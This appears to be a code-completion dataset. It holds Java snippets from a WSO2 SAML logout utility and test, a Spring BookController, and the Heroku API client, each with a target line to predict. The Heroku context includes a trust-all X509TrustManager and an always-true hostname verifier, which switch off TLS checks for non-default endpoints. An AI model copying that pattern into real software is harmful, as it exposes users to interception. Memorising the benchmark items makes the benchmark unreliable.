[ "public class SAMLMessageContext<T1 extends Serializable, T2 extends Serializable> extends IdentityMessageContext {\n\n private String acsUrl;\n private String response;\n private String sessionID;\n private String idpSessionID;\n private String tenantDomain;\n private Boolean validStatus;\n private IdentityProvider federatedIdP;\n private Map<String, String> fedIdPConfigs;\n\n public SAMLMessageContext(IdentityRequest request, Map<T1, T2> parameters) {\n\n super(request, parameters);\n }\n\n public SAMLLogoutRequest getSAMLLogoutRequest() {\n\n return (SAMLLogoutRequest) request;\n }\n\n public String getSessionID() {\n\n return sessionID;\n }\n\n public void setSessionID(String sessionID) {\n\n this.sessionID = sessionID;\n }\n\n public String getIdPSessionID() {\n\n return idpSessionID;\n }\n\n public void setIdPSessionID(String idpSessionID) {\n\n this.idpSessionID = idpSessionID;\n }\n\n public String getTenantDomain() {\n\n return tenantDomain;\n }\n\n public void setTenantDomain(String tenantDomain) {\n\n this.tenantDomain = tenantDomain;\n }\n\n public String getAcsUrl() {\n\n return acsUrl;\n }\n\n public void setAcsUrl(String acsUrl) {\n\n this.acsUrl = acsUrl;\n }\n\n public IdentityProvider getFederatedIdP() {\n\n return federatedIdP;\n }\n\n public void setFederatedIdP(IdentityProvider federatedIdP) {\n\n this.federatedIdP = federatedIdP;\n }\n\n public Boolean getValidStatus() {\n\n return validStatus;\n }\n\n public void setValidStatus(Boolean validStatus) {\n\n this.validStatus = validStatus;\n }\n\n public String getResponse() {\n\n return response;\n }\n\n public void setResponse(String response) {\n\n this.response = response;\n }\n\n public Map<String, String> getFedIdPConfigs() {\n\n return fedIdPConfigs;\n }\n\n public void setFedIdPConfigs(Map<String, String> fedIdPConfigs) {\n\n this.fedIdPConfigs = fedIdPConfigs;\n }\n\n public String getRelayState() {\n\n return request.getParameter(SSOConstants.RELAY_STATE);\n }\n}", "public class SAMLLogoutUtil {\n\n private static boolean bootStrapped = false;\n private static final Log log = LogFactory.getLog(SAMLLogoutUtil.class);\n\n private SAMLLogoutUtil() {\n\n }\n\n /**\n * Bootstrap the OpenSAML3 library only if it is not bootstrapped.\n *\n */\n public static void doBootstrap() {\n\n // Initializing the OpenSAML library.\n if (!bootStrapped) {\n Thread thread = Thread.currentThread();\n ClassLoader loader = thread.getContextClassLoader();\n thread.setContextClassLoader(new DefaultSAML2SSOManager().getClass().getClassLoader());\n try {\n SAMLInitializer.doBootstrap();\n bootStrapped = true;\n } catch (InitializationException e) {\n log.error(\"Error in bootstrapping the OpenSAML3 library\", e);\n } finally {\n thread.setContextClassLoader(loader);\n }\n }\n }\n\n /**\n * Build status of the logout response.\n *\n * @param responseStatusCode Status code of the response.\n * @param responseStatusMsg Status message of the response.\n * @return Status object of Status element.\n */\n private static Status buildStatus(String responseStatusCode, String responseStatusMsg) {\n\n Status status = new StatusBuilder().buildObject();\n\n // Set the status code.\n StatusCode statusCode = new StatusCodeBuilder().buildObject();\n statusCode.setValue(responseStatusCode);\n status.setStatusCode(statusCode);\n\n // Set the status Message.\n if (StringUtils.isNotBlank(responseStatusMsg)) {\n StatusMessage statusMessage = new StatusMessageBuilder().buildObject();\n statusMessage.setMessage(responseStatusMsg);\n status.setStatusMessage(statusMessage);\n }\n return status;\n }\n\n /**\n * Generate a unique ID for logout response.\n *\n * @return Generated unique ID.\n */\n private static String createID() {\n\n RandomIdentifierGenerationStrategy generator = new RandomIdentifierGenerationStrategy();\n return generator.generateIdentifier();\n }\n\n /**\n * Extract the required federated identity provider's configurations into a map.\n *\n * @param identityProvider {@link IdentityProvider}Federated identity provider.\n * @return Map<String, String> Map of properties of the Identity Provider.\n */\n public static Map<String, String> getFederatedIdPConfigs(IdentityProvider identityProvider) {\n\n List<String> idpPropertyNames = Arrays.asList(SP_ENTITY_ID, SSO_URL, IS_AUTHN_RESP_SIGNED, INCLUDE_CERT,\n IS_LOGOUT_REQ_SIGNED, IS_SLO_REQUEST_ACCEPTED);\n if (identityProvider.getDefaultAuthenticatorConfig() != null &&\n identityProvider.getDefaultAuthenticatorConfig().getProperties() != null) {\n Property[] properties = identityProvider.getDefaultAuthenticatorConfig().getProperties();\n return Arrays.stream(properties)\n .filter(t -> idpPropertyNames.contains(t.getName()))\n .collect(Collectors.toMap(Property::getName, Property::getValue));\n }\n return Collections.emptyMap();\n }\n\n /**\n * Build error response when request contain validation or processing errors.\n *\n * @param samlMessageContext {@link SAMLMessageContext} object which holds details on logout flow.\n * @param inResponseTo ID of the Logout Request.\n * @param statusCode Status Code of the Error Response.\n * @param statusMsg Status Message of the Error Response.\n * @return String Encoded Error Response.\n * @throws SAMLLogoutException Error when building the Error Response.\n */\n public static String buildErrorResponse(SAMLMessageContext samlMessageContext, String\n inResponseTo, String statusCode, String statusMsg) throws SAMLLogoutException {\n\n try {\n LogoutResponse errorResponse = buildResponse(samlMessageContext, inResponseTo, statusCode, statusMsg);\n return SSOUtils.encode(SSOUtils.marshall(errorResponse));\n } catch (SAMLSSOException e) {\n throw new SAMLLogoutException(\"Error Serializing the SAML Response\", e);\n }\n }\n\n /**\n * Build the Logout Response for logout request from the federated IdP.\n *\n * @param samlMessageContext {@link SAMLMessageContext} object which holds details on logout flow.\n * @param inResponseTo ID of the Logout Request.\n * @param statusCode Status Code of the Error Response.\n * @param statusMsg Status Message of the Error Response.\n * @return Logout Response Built Logout Response.\n * @throws SAMLLogoutException Error when building the Logout Response.\n */\n public static LogoutResponse buildResponse(SAMLMessageContext samlMessageContext, String inResponseTo,\n String statusCode, String statusMsg) throws SAMLLogoutException {\n\n try {\n doBootstrap();\n String issuerID = (String) samlMessageContext.getFedIdPConfigs().get(SP_ENTITY_ID);\n String acsUrl = (String) samlMessageContext.getFedIdPConfigs().get(SSO_URL);\n boolean isResponseSigned = Boolean.parseBoolean(samlMessageContext.getFedIdPConfigs().\n get(IS_AUTHN_RESP_SIGNED).toString());\n boolean isIncludeCert = Boolean.parseBoolean(samlMessageContext.getFedIdPConfigs().\n get(INCLUDE_CERT).toString());\n\n LogoutResponse logoutResp = new LogoutResponseBuilder().buildObject();\n logoutResp.setID(createID());\n logoutResp.setInResponseTo(inResponseTo);\n logoutResp.setIssuer(getIssuer(issuerID));\n logoutResp.setVersion(SAMLVersion.VERSION_20);\n logoutResp.setStatus(buildStatus(statusCode, statusMsg));\n logoutResp.setIssueInstant(new DateTime());\n logoutResp.setDestination(acsUrl);\n\n if (isResponseSigned && SUCCESS_CODE.equals(statusCode)) {\n SSOUtils.setSignature(logoutResp, null, null, isIncludeCert,\n new X509CredentialImpl(samlMessageContext.getTenantDomain(), null));\n }\n return logoutResp;\n } catch (SAMLSSOException e) {\n throw new SAMLLogoutException(\"Error occurred while setting the signature of logout response\", e);\n }\n }\n\n /**\n * Build the issuer for the logout response.\n *\n * @param issuerID Index of the issuer in the SAML Logout Request.\n * @return Built issuer object for Logout Response.\n */\n private static Issuer getIssuer(String issuerID) {\n\n IssuerBuilder issuerBuilder = new IssuerBuilder();\n Issuer issuer = issuerBuilder.buildObject();\n issuer.setValue(issuerID);\n return issuer;\n }\n\n /**\n * Validate the signature of the LogoutRequest against the given certificate.\n *\n * @param logoutRequest {@link LogoutRequest}object to be validated.\n * @return true If signature of the Logout Request is valid.\n * @throws SAMLLogoutException Error when validating the signature.\n */\n public static boolean isValidSignature(LogoutRequest logoutRequest, SAMLMessageContext\n samlMessageContext) throws SAMLLogoutException {\n\n String issuer = logoutRequest.getIssuer().getValue();\n X509Certificate x509Certificate = generateX509Certificate(samlMessageContext.\n getFederatedIdP().getCertificate());\n\n LogoutReqSignatureValidator signatureValidator = new LogoutReqSignatureValidator();\n try {\n if (samlMessageContext.getSAMLLogoutRequest().isPost()) {\n return signatureValidator.validateXMLSignature(logoutRequest,\n new X509CredentialImpl(x509Certificate, issuer), null);\n } else {\n return signatureValidator.validateSignature(samlMessageContext.getSAMLLogoutRequest().getQueryString(),\n issuer, x509Certificate);\n }\n } catch (SecurityException | IdentityException e) {\n throw new SAMLLogoutException(\"Process of validating the signature failed for the logout request with\" +\n \"issuer: \" + logoutRequest.getIssuer().getValue(), e);\n }\n }\n\n /**\n * Generate the X509Certificate using the certificate string value in the identity provider's configuration.\n *\n * @param certificate String value of the certificate in the IdP's configurations.\n * @throws SAMLLogoutException Error while generating the X509Certificate.\n */\n private static X509Certificate generateX509Certificate(String certificate)\n throws SAMLLogoutException {\n\n byte[] certificateData = java.util.Base64.getDecoder().decode(certificate);\n try {\n return (java.security.cert.X509Certificate) CertificateFactory.getInstance(CERTIFICATE_TYPE).\n generateCertificate(new ByteArrayInputStream(certificateData));\n } catch (CertificateException e) {\n throw new SAMLLogoutException(\"Error occurred while generating X509Certificate using the \" +\n \"string value of the certificate in IdP's properties: \" + certificate, e);\n }\n }\n\n /**\n * @param logoutRequest {@link LogoutRequest} object.\n * @return String Session Index of the Logout Request.\n * @throws SAMLLogoutException Error while extracting the Session Index.\n */\n public static String getSessionIndex(LogoutRequest logoutRequest) throws SAMLLogoutException {\n\n List<SessionIndex> sessionIndexList = logoutRequest.getSessionIndexes();\n if (CollectionUtils.isNotEmpty(sessionIndexList) &&\n StringUtils.isNotBlank(sessionIndexList.get(0).getSessionIndex())) {\n return sessionIndexList.get(0).getSessionIndex();\n }\n String notification = \"Could not extract the session index from the logout request\";\n if (log.isDebugEnabled()) {\n log.debug(notification);\n }\n throw new SAMLLogoutException(notification);\n }\n}", "public static final String IDP_URL = \"https://localhost:9444/samlsso\";", "public static final String INBOUND_SESSION_INDEX = \"123456789\";", "public static final String SUCCESS_CODE = \"urn:oasis:names:tc:SAML:2.0:status:Success\";" ]
import java.util.HashMap; import java.util.List; import java.util.Map; import org.mockito.Mock; import org.opensaml.saml.saml2.core.LogoutRequest; import org.opensaml.saml.saml2.core.LogoutResponse; import org.opensaml.saml.saml2.core.SessionIndex; import org.powermock.modules.testng.PowerMockTestCase; import org.testng.annotations.Test; import org.wso2.carbon.identity.application.authentication.framework.inbound.IdentityRequest; import org.wso2.carbon.identity.application.authenticator.samlsso.logout.context.SAMLMessageContext; import org.wso2.carbon.identity.application.authenticator.samlsso.logout.util.SAMLLogoutUtil; import static org.testng.Assert.assertEquals; import static org.mockito.Mockito.when; import static org.wso2.carbon.identity.application.authenticator.samlsso.TestConstants.IDP_URL; import static org.wso2.carbon.identity.application.authenticator.samlsso.TestConstants.INBOUND_SESSION_INDEX; import static org.wso2.carbon.identity.application.authenticator.samlsso.util.SSOConstants.StatusCodes.SUCCESS_CODE; import static org.wso2.carbon.identity.application.common.util.IdentityApplicationConstants.Authenticator.SAML2SSO.IS_SLO_REQUEST_ACCEPTED; import static org.wso2.carbon.identity.application.common.util.IdentityApplicationConstants.Authenticator.SAML2SSO.SSO_URL; import static org.wso2.carbon.identity.application.common.util.IdentityApplicationConstants.Authenticator.SAML2SSO.SP_ENTITY_ID; import static org.wso2.carbon.identity.application.common.util.IdentityApplicationConstants.Authenticator.SAML2SSO.IS_AUTHN_RESP_SIGNED; import static org.wso2.carbon.identity.application.common.util.IdentityApplicationConstants.Authenticator.SAML2SSO.INCLUDE_CERT; import static org.wso2.carbon.utils.multitenancy.MultitenantConstants.SUPER_TENANT_DOMAIN_NAME;
/* * Copyright (c) 2019, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * WSO2 Inc. licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file except * in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.wso2.carbon.identity.application.authenticator.samlsso.logout.Utils; /** * Unit test cases for SAMLLogoutUtil */ public class LogoutUtilTest extends PowerMockTestCase { @Mock private LogoutRequest mockedLogoutReq; @Mock private List<SessionIndex> mockedlist; @Mock private SessionIndex mockedIndex; @Mock private IdentityRequest mockedIdentityRequest; @Test public void testGetSessionIndex() throws Exception { when(mockedLogoutReq.getSessionIndexes()).thenReturn(mockedlist); when(mockedlist.get(0)).thenReturn(mockedIndex); when(mockedIndex.getSessionIndex()).thenReturn(INBOUND_SESSION_INDEX); assertEquals(SAMLLogoutUtil.getSessionIndex(mockedLogoutReq), INBOUND_SESSION_INDEX); } @Test public void testBuildResponse() throws Exception {
SAMLMessageContext mockedContext = new SAMLMessageContext(mockedIdentityRequest, new HashMap());
0
edwise/complete-spring-project
src/main/java/com/edwise/completespring/controllers/BookController.java
[ "@Getter\n@Setter\n@Accessors(chain = true)\npublic class BookResource extends ResourceSupport {\n private Book book;\n}", "@Component\npublic class BookResourceAssembler extends ResourceAssemblerSupport<Book, BookResource> {\n\n public BookResourceAssembler() {\n super(BookController.class, BookResource.class);\n }\n\n @Override\n protected BookResource instantiateResource(Book book) {\n BookResource bookResource = super.instantiateResource(book);\n bookResource.setBook(book);\n\n return bookResource;\n }\n\n public BookResource toResource(Book book) {\n return createResourceWithId(book.getId(), book);\n }\n}", "@Document(collection = \"books\")\n@ApiModel(value = \"Book entity\", description = \"Complete info of a entity book\")\n@Data\n@Accessors(chain = true)\n@EqualsAndHashCode(exclude = {\"id\"}, doNotUseGetters = true)\n@ToString(doNotUseGetters = true)\npublic class Book {\n\n @ApiModelProperty(value = \"The id of the book\")\n @Id\n private Long id;\n\n @ApiModelProperty(value = \"The title of the book\", required = true)\n @NotEmpty\n private String title;\n\n @ApiModelProperty(value = \"The authors of the book\", required = true)\n @Valid\n private List<Author> authors;\n\n @ApiModelProperty(value = \"The isbn of the book\", required = true)\n @NotEmpty\n private String isbn;\n\n @ApiModelProperty(value = \"The release date of the book\", required = true, dataType = \"LocalDate\")\n @NotNull\n private LocalDate releaseDate;\n\n @ApiModelProperty(value = \"The publisher of the book\", required = true)\n @Valid\n @NotNull\n private Publisher publisher;\n\n public Book copyFrom(Book other) {\n this.title = other.title;\n if (other.authors != null) {\n this.authors = new ArrayList<>();\n this.authors.addAll(other.authors.stream().map(new Author()::copyFrom).collect(Collectors.toList()));\n }\n this.isbn = other.isbn;\n this.releaseDate = other.releaseDate;\n if (other.publisher != null) {\n this.publisher = new Publisher().copyFrom(other.publisher);\n }\n\n return this;\n }\n}", "public class InvalidRequestException extends RuntimeException {\n\n @Getter\n private final ErrorInfo errors;\n\n public InvalidRequestException(BindingResult bindingResultErrors) {\n super(bindingResultErrors.toString());\n this.errors = ErrorInfo.generateErrorInfoFromBindingResult(bindingResultErrors);\n }\n\n}", "public interface BookService extends Service<Book, Long> {\n\n List<Book> findByTitle(String title);\n\n List<Book> findByReleaseDate(LocalDate releaseDate);\n\n Book create(Book book);\n}" ]
import com.edwise.completespring.assemblers.BookResource; import com.edwise.completespring.assemblers.BookResourceAssembler; import com.edwise.completespring.entities.Book; import com.edwise.completespring.exceptions.InvalidRequestException; import com.edwise.completespring.services.BookService; import io.swagger.annotations.*; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.hateoas.Link; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseStatus; import org.springframework.web.bind.annotation.RestController; import javax.validation.Valid; import java.net.URI; import java.util.List;
package com.edwise.completespring.controllers; @RestController @RequestMapping("/api/books/") @Api(value = "books", description = "Books API", produces = "application/json") @Slf4j public class BookController { private static final int RESPONSE_CODE_OK = 200; private static final int RESPONSE_CODE_CREATED = 201; private static final int RESPONSE_CODE_NO_RESPONSE = 204; @Autowired private BookResourceAssembler bookResourceAssembler; @Autowired private BookService bookService; @RequestMapping(method = RequestMethod.GET, produces = MediaType.APPLICATION_JSON_VALUE) @ApiOperation(value = "Get Books", notes = "Returns all books") @ApiResponses({ @ApiResponse(code = RESPONSE_CODE_OK, response = BookResource.class, message = "Exits one book at least") }) public ResponseEntity<List<BookResource>> getAll() { List<Book> books = bookService.findAll(); List<BookResource> resourceList = bookResourceAssembler.toResources(books); log.info("Books found: {}", books); return new ResponseEntity<>(resourceList, HttpStatus.OK); } @RequestMapping(method = RequestMethod.GET, value = "{id}", produces = MediaType.APPLICATION_JSON_VALUE) @ApiOperation(value = "Get one Book", response = BookResource.class, notes = "Returns one book") @ApiResponses({ @ApiResponse(code = RESPONSE_CODE_OK, message = "Exists this book") }) public ResponseEntity<BookResource> getBook(@ApiParam(defaultValue = "1", value = "The id of the book to return") @PathVariable long id) { Book book = bookService.findOne(id); log.info("Book found: {}", book); return new ResponseEntity<>(bookResourceAssembler.toResource(book), HttpStatus.OK); } @RequestMapping(method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE, consumes = MediaType.APPLICATION_JSON_VALUE) @ApiOperation(value = "Create Book", notes = "Create a book") @ApiResponses({ @ApiResponse(code = RESPONSE_CODE_CREATED, message = "Successful create of a book") }) public ResponseEntity<BookResource> createBook(@Valid @RequestBody Book book, BindingResult errors) { if (errors.hasErrors()) {
throw new InvalidRequestException(errors);
3
heroku/heroku.jar
heroku-api/src/main/java/com/heroku/api/request/buildpacks/BuildpackInstallationUpdate.java
[ "public class Heroku {\n\n\n public enum Config {\n ENDPOINT(\"HEROKU_HOST\", \"heroku.host\", \"heroku.com\");\n public final String environmentVariable;\n public final String systemProperty;\n public final String defaultValue;\n public final String value;\n\n Config(String environmentVariable, String systemProperty, String defaultValue) {\n this.environmentVariable = environmentVariable;\n this.systemProperty = systemProperty;\n this.defaultValue = defaultValue;\n String envVal = System.getenv(environmentVariable);\n String configVal = System.getProperty(systemProperty, envVal == null ? defaultValue : envVal);\n this.value = configVal.matches(\"^https?:\\\\/\\\\/.*\") ? configVal : \"https://api.\" + configVal;\n }\n\n public boolean isDefault() {\n return defaultValue.equals(value);\n }\n\n }\n\n public static enum JarProperties {\n ;\n\n static final Properties properties = new Properties();\n\n static {\n try {\n InputStream jarProps = JarProperties.class.getResourceAsStream(\"/heroku.jar.properties\");\n properties.load(jarProps);\n } catch (IOException e) {\n throw new RuntimeException(e);\n }\n }\n \n public static String getProperty(String propName) {\n return properties.getProperty(propName);\n }\n\n public static Properties getProperties() {\n return properties;\n }\n }\n\n public static SSLContext herokuSSLContext() {\n return sslContext(Config.ENDPOINT.isDefault());\n }\n\n public static SSLContext sslContext(boolean verify) {\n try {\n SSLContext ctx = SSLContext.getInstance(\"TLS\");\n TrustManager[] tmgrs = null;\n if (!verify) {\n tmgrs = trustAllTrustManagers();\n }\n /*\nInitializes this context.\nEither of the first two parameters may be null in which case the installed security providers will be searched\nfor the highest priority implementation of the appropriate factory.\nLikewise, the secure random parameter may be null in which case the default implementation will be used.\n */\n ctx.init(null, tmgrs, null);\n return ctx;\n } catch (NoSuchAlgorithmException e) {\n throw new HerokuAPIException(\"NoSuchAlgorithmException while trying to setup SSLContext\", e);\n } catch (KeyManagementException e) {\n throw new HerokuAPIException(\"KeyManagementException while trying to setup SSLContext\", e);\n }\n }\n\n public static HostnameVerifier hostnameVerifier(boolean verify) {\n HostnameVerifier verifier = HttpsURLConnection.getDefaultHostnameVerifier();\n if (!verify) {\n verifier = new HostnameVerifier() {\n @Override\n public boolean verify(String s, SSLSession sslSession) {\n return true;\n }\n };\n }\n return verifier;\n }\n\n public static HostnameVerifier herokuHostnameVerifier() {\n return hostnameVerifier(Config.ENDPOINT.isDefault());\n }\n\n public static enum ResponseKey {\n Name(\"name\"),\n DomainName(\"domain_name\"),\n CreateStatus(\"create_status\"),\n Stack(\"stack\"),\n SlugSize(\"slug_size\"),\n RequestedStack(\"requested_stack\"),\n CreatedAt(\"created_at\"),\n WebUrl(\"web_url\"),\n RepoMigrateStatus(\"repo_migrate_status\"),\n Id(\"id\"),\n GitUrl(\"git_url\"),\n RepoSize(\"repo_size\"),\n Dynos(\"dynos\"),\n Workers(\"workers\");\n\n public final String value;\n \n // From Effective Java, Second Edition\n private static final Map<String, ResponseKey> stringToResponseKey = new HashMap<String, ResponseKey>();\n static {\n for (ResponseKey key : values())\n stringToResponseKey.put(key.toString(), key);\n }\n \n ResponseKey(String value) {\n this.value = value;\n }\n\n @Override\n public String toString() {\n return value;\n }\n \n public static ResponseKey fromString(String keyName) {\n return stringToResponseKey.get(keyName);\n }\n }\n\n public static enum RequestKey {\n Slug(\"slug\"),\n StackName(\"name\"),\n Stack(\"stack\"),\n AppMaintenance(\"maintenance\"),\n AddonName(\"addon\"),\n AddonPlan(\"plan\"),\n AddonConfig(\"config\"),\n AddonAttachment(\"attachment\"),\n AddonAttachmentName(\"name\"),\n AppName(\"name\"),\n SSHKey(\"public_key\"),\n Collaborator(\"user\"),\n TransferAppName(\"app\"),\n TransferOwner(\"recipient\"),\n Release(\"release\"),\n CreateDomain(\"hostname\"),\n DeleteDomain(\"hostname\"),\n ProcessTypes(\"process_types\"),\n Dyno(\"dyno\"),\n LogLines(\"lines\"),\n LogSource(\"source\"),\n LogTail(\"tail\"),\n SourceBlob(\"source_blob\"),\n SourceBlobUrl(\"url\"),\n SourceBlobChecksum(\"checksum\"),\n SourceBlobVersion(\"version\"),\n Buildpacks(\"buildpacks\"),\n BuildpackUrl(\"url\"),\n Space(\"space\"),\n SpaceId(\"id\"),\n SpaceName(\"name\"),\n SpaceShield(\"shield\"),\n Quantity(\"quantity\"),\n Team(\"team\"),\n TeamName(\"name\");\n\n public final String queryParameter;\n\n RequestKey(String queryParameter) {\n this.queryParameter = queryParameter;\n }\n }\n\n\n public static enum Stack {\n Cedar14(\"cedar-14\"),\n Container(\"container\"),\n Heroku16(\"heroku-16\"),\n Heroku18(\"heroku-18\");\n\n public final String value;\n\n // From Effective Java, Second Edition\n private static final Map<String, Stack> stringToEnum = new HashMap<String, Stack>();\n static {\n for (Stack s : values())\n stringToEnum.put(s.toString(), s);\n }\n\n Stack(String value) {\n this.value = value;\n }\n\n @Override\n public String toString() {\n return value;\n }\n\n public static Stack fromString(String stackName) {\n return stringToEnum.get(stackName);\n }\n }\n\n\n public static enum Resource {\n Apps(\"/apps\"),\n App(\"/apps/%s\"),\n AppTransfer(\"/account/app-transfers\"),\n Addons(\"/addons\"),\n AppAddons(App.value + \"/addons\"),\n AppAddon(AppAddons.value + \"/%s\"),\n Builds(\"/apps/%s/builds\"),\n BuildInfo(\"/apps/%s/builds/%s\"),\n BuildResult(\"/apps/%s/builds/%s/result\"),\n User(\"/account\"),\n Key(User.value + \"/keys/%s\"),\n Keys(User.value + \"/keys\"),\n Collaborators(App.value + \"/collaborators\"),\n Collaborator(Collaborators.value + \"/%s\"),\n ConfigVars(App.value + \"/config-vars\"),\n Logs(App.value + \"/log-sessions\"),\n Process(App.value + \"/ps\"),\n Restart(Process.value + \"/restart\"),\n Stop(Process.value + \"/stop\"),\n Scale(Process.value + \"/scale\"),\n Releases(App.value + \"/releases\"),\n Release(Releases.value + \"/%s\"),\n Slugs(App.value + \"/slugs\"),\n Slug(Slugs.value + \"/%s\"),\n Sources(\"/sources\"),\n Status(App.value + \"/status\"),\n Stacks(\"/stacks\"),\n Domains(App.value + \"/domains\"),\n Domain(Domains.value + \"/%s\"),\n Dynos(\"/apps/%s/dynos\"),\n Dyno(Dynos.value + \"/%s\"),\n Formations(App.value + \"/formation\"),\n Formation(Formations.value + \"/%s\"),\n BuildpackInstalltions(\"/apps/%s/buildpack-installations\"),\n TeamApps(\"/teams/%s/apps\"),\n TeamAppsAll(\"/teams/apps\"),\n TeamApp(\"/teams/apps/%s\"),\n Team(\"/teams/%s\"),\n Teams(\"/teams\"),\n TeamInvoices(\"/teams/%s/invoices\"),\n TeamInvoice(\"/teams/%s/invoices/%s\"),;\n\n public final String value;\n\n Resource(String value) {\n this.value = value;\n }\n\n public String format(String... values) {\n return String.format(value, values);\n }\n }\n\n public enum ApiVersion implements Http.Header {\n\n v2(2), v3(3);\n\n public static final String HEADER = \"Accept\";\n\n public final int version;\n\n ApiVersion(int version) {\n this.version = version;\n }\n\n @Override\n public String getHeaderName() {\n return HEADER;\n }\n\n @Override\n public String getHeaderValue() {\n return \"application/vnd.heroku+json; version=\" + Integer.toString(version);\n }\n }\n\n public static TrustManager[] trustAllTrustManagers() {\n return new TrustManager[]{new X509TrustManager() {\n @Override\n public void checkClientTrusted(final X509Certificate[] chain, final String authType) {\n }\n\n @Override\n public void checkServerTrusted(final X509Certificate[] chain, final String authType) {\n }\n\n @Override\n public X509Certificate[] getAcceptedIssuers() {\n return null;\n }\n }};\n }\n}", "public class RequestFailedException extends HerokuAPIException {\n\n String responseBody;\n int statusCode;\n\n public RequestFailedException(String msg, int code, byte[] in) {\n this(msg, code, getBodyFromInput(in));\n\n }\n\n private static String getBodyFromInput(byte[] in) {\n try {\n return HttpUtil.getUTF8String(in);\n } catch (Exception e) {\n return \"There was also an error reading the response body.\";\n }\n }\n\n public RequestFailedException(String msg, int code, String body) {\n super(msg + \" statuscode:\" + code + \" responseBody:\" + body);\n responseBody = body;\n statusCode = code;\n }\n\n\n public String getResponseBody() {\n return responseBody;\n }\n\n public int getStatusCode() {\n return statusCode;\n }\n}", "public class Http {\n /**\n * HTTP Accept header model.\n */\n public static enum Accept implements Header {\n JSON(\"application/json\"),\n TEXT(\"text/plain\");\n\n private String value;\n static String ACCEPT = \"Accept\";\n\n Accept(String val) {\n this.value = val;\n }\n\n @Override\n public String getHeaderName() {\n return ACCEPT;\n }\n\n @Override\n public String getHeaderValue() {\n return value;\n }\n\n }\n\n /**\n * HTTP Content-Type header model.\n */\n public static enum ContentType implements Header {\n JSON(\"application/json\"),\n FORM_URLENCODED(\"application/x-www-form-urlencoded\"),\n SSH_AUTHKEY(\"text/ssh-authkey\");\n\n private String value;\n static String CONTENT_TYPE = \"Content-Type\";\n\n ContentType(String val) {\n this.value = val;\n }\n\n @Override\n public String getHeaderName() {\n return CONTENT_TYPE;\n }\n\n @Override\n public String getHeaderValue() {\n return value;\n }\n\n }\n\n /**\n * HTTP User-Agent header model.\n *\n * @see UserAgentValueProvider\n */\n public static enum UserAgent implements Header {\n LATEST(loadValueProvider());\n\n static final String USER_AGENT = \"User-Agent\";\n private final UserAgentValueProvider userAgentValueProvider;\n\n UserAgent(UserAgentValueProvider userAgentValueProvider) {\n this.userAgentValueProvider = userAgentValueProvider;\n }\n\n @Override\n public String getHeaderName() {\n return USER_AGENT;\n }\n\n @Override\n public String getHeaderValue() {\n return userAgentValueProvider.getHeaderValue();\n }\n\n public String getHeaderValue(String customPart) {\n return userAgentValueProvider.getHeaderValue(customPart);\n }\n\n private static UserAgentValueProvider loadValueProvider() {\n final Iterator<UserAgentValueProvider> customProviders =\n ServiceLoader.load(UserAgentValueProvider.class, UserAgent.class.getClassLoader()).iterator();\n\n if (customProviders.hasNext()) {\n return customProviders.next();\n } else {\n return new UserAgentValueProvider.DEFAULT();\n }\n }\n }\n\n /**\n * Represent a name/value pair for a HTTP header. Not all are implemented. Only those used by the Heroku API.\n */\n public static interface Header {\n\n public static class Util {\n public static Map<String, String> setHeaders(Header... headers) {\n Map<String, String> headerMap = new HashMap<String, String>();\n for (Header h : headers) {\n headerMap.put(h.getHeaderName(), h.getHeaderValue());\n }\n return headerMap;\n }\n }\n\n String getHeaderName();\n\n String getHeaderValue();\n\n }\n\n /**\n * HTTP Methods. Not all are implemented. Only those used by the Heroku API.\n */\n public static enum Method {GET, PUT, POST, DELETE, PATCH}\n\n /**\n * HTTP Status codes. Not all are implemented. Only those used by the Heroku API.\n */\n public static enum Status {\n OK(200), CREATED(201), ACCEPTED(202), PAYMENT_REQUIRED(402), FORBIDDEN(403), NOT_FOUND(404), UNPROCESSABLE_ENTITY(422), INTERNAL_SERVER_ERROR(500), SERVICE_UNAVAILABLE(503);\n\n public final int statusCode;\n\n Status(int statusCode) {\n this.statusCode = statusCode;\n }\n\n public boolean equals(int code) {\n return statusCode == code;\n }\n }\n}", "public class Json {\n\n static class Holder {\n static Parser parser;\n\n static {\n ServiceLoader<Parser> loader = ServiceLoader.load(Parser.class, Parser.class.getClassLoader());\n Iterator<Parser> iterator = loader.iterator();\n if (iterator.hasNext()) {\n parser = iterator.next();\n } else {\n throw new IllegalStateException(\"Unable to load a JSONProvider, please make sure you have a com.heroku.api.json.JSONParser implementation\" +\n \"on your classpath that can be discovered and loaded via java.util.ServiceLoader\");\n }\n }\n }\n\n /**\n * Proxy method for getting the Parser and calling encode().\n * @param object JSON byte array to be parsed.\n * @return The Object serialized to a JSON String\n */\n public static String encode(Object object) {\n return Holder.parser.encode(object);\n }\n\n /**\n * Proxy method for getting the Parser and calling parse().\n * @param data JSON byte array to be parsed.\n * @param type Deserialized type for the JSON data\n * @param <T> Deserialzed object type\n * @return The JSON data deserialized\n */\n public static <T> T parse(byte[] data, Type type) {\n return Holder.parser.parse(data, type);\n }\n\n /**\n * <p>\n * Calls Parser.parse() using the generic type T for Request given Request is the interface for the\n * classType parameter. If it can't find an appropriate type, it errors out with a ParseException.\n * </p>\n * <p>\n * The following code sample illustrates typical usage in the context of a request to Heroku's API.\n * The byte array is provided from a connection.execute(request) call, which is a JSON response from\n * the server. getClass() provides the classType, which in this case extends Request. The return\n * value from the parse method will be App.\n * </p>\n *\n * @param data JSON byte array to be parsed\n * @param <T> Deserialzed object type\n * @param classType The Request implementation class type. This is typically given the calling class as\n * an argument.\n * @return object representing the data\n */\n public static <T> T parse(byte[] data, Class<? extends Request<T>> classType) {\n Type[] types = doResolveTypeArguments(classType, classType, Request.class);\n if (types == null || types.length == 0) {\n throw new ParseException(\"Request<T> was not found for \" + classType);\n }\n Type type = types[0];\n try {\n return Holder.parser.parse(data, type);\n } 